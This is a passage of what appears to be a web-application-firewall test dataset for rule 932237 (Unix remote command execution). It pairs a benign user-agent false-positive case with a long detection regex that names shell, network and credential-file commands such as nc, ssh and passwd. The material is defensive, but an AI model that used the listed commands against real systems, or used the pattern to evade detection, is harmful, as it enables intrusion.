recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab)))|d(?:(?:[dfu]|i(?:(?:alo)?g|r|ff)|a(?:sh|te)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|nf(?:[\\s\\x0b&\\),<>\\|]|$)?|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:[bd]|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:d|rb|conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:(?:re|unt)(?:[\\s\\x0b&\\),<>\\|]|$)|squitto)|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:(?:ul)?l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|hp(?:[\\s\\x0b&\\),<>\\|]|$|-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|r(?:een|ipt))|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass))|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:(?:(?:ca|r)t|urce)(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|me(?:[\\s\\x0b&\\),<>\\|]|$|datectl|out(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:[\\s\\x0b&\\),<>\\|]|$|m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|a(?:ll|tch))(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:o(?:[\\s\\x0b&\\),<>\\|]|$|ami|is(?:[\\s\\x0b&\\),<>\\|]|$))?|iptail(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))(?:\\b|[^0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932237", "test_description": "False positive with token in referrer.\nShould not match `df`.\n" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Mozilla/5.0 (Linux; Android 14; PGT-N19 Build/HONORPGT-N49; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.180 Mobile Safari/537.36" } ], "attack_context": { "method": "POST", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:(?:GE|POS)T|y(?:e(?:s|lp)|um|arn)|HEAD)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get|itude(?:[\\s\\x0b&\\),<>\\|]|$))|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|t(?:[\\s\\x0b&\\),<>\\|]|$|obm(?:[\\s\\x0b&\\),<>\\|]|$))|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab)))|d(?:(?:[dfu]|i(?:(?:alo)?g|r|ff)|a(?:sh|te)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|nf(?:[\\s\\x0b&\\),<>\\|]|$)?|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:[bd]|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:d|rb|conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:(?:re|unt)(?:[\\s\\x0b&\\),<>\\|]|$)|squitto)|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b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?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|r(?:een|ipt))|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass))|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:(?:(?:ca|r)t|urce)(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|me(?:[\\s\\x0b&\\),<>\\|]|$|datectl|out(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:[\\s\\x0b&\\),<>\\|]|$|m(?:[\\s\\x0b&\\),<>\